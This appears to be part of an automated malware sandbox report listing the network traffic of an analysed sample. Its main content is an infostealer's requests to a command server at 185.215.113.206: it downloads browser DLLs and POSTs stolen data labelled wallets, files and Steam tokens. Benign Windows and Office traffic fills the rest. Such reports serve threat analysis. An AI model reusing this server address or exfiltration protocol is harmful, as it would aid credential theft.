form-data; name="file"------IIJEBAECGCBKECAAAEBF--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDAECAEBKJJJKEBKKJDHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="message"wallets------JJJEGHDAECBFHJKEGIJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 2d 2d 0d 0a Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="message"files------GIDBKKKKKFBGDGDHIDBG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 2d 2d 0d 0a Data Ascii: ------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="file"------FCAAEBFHJJDAAKFIECGD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJEBKECBAKFBGDGCBGDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 2d 2d 0d 0a Data Ascii: ------GIJEBKECBAKFBGDGCBGDContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------GIJEBKECBAKFBGDGCBGDContent-Disposition: form-data; name="message"ybncbhylepme------GIJEBKECBAKFBGDGCBGD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HIDHIEGIIIECAKEBFBAA--

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49823 -> 185.215.113.206:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50461 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=44cEmSBup7NOfvX&MD=VKrrpHnd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
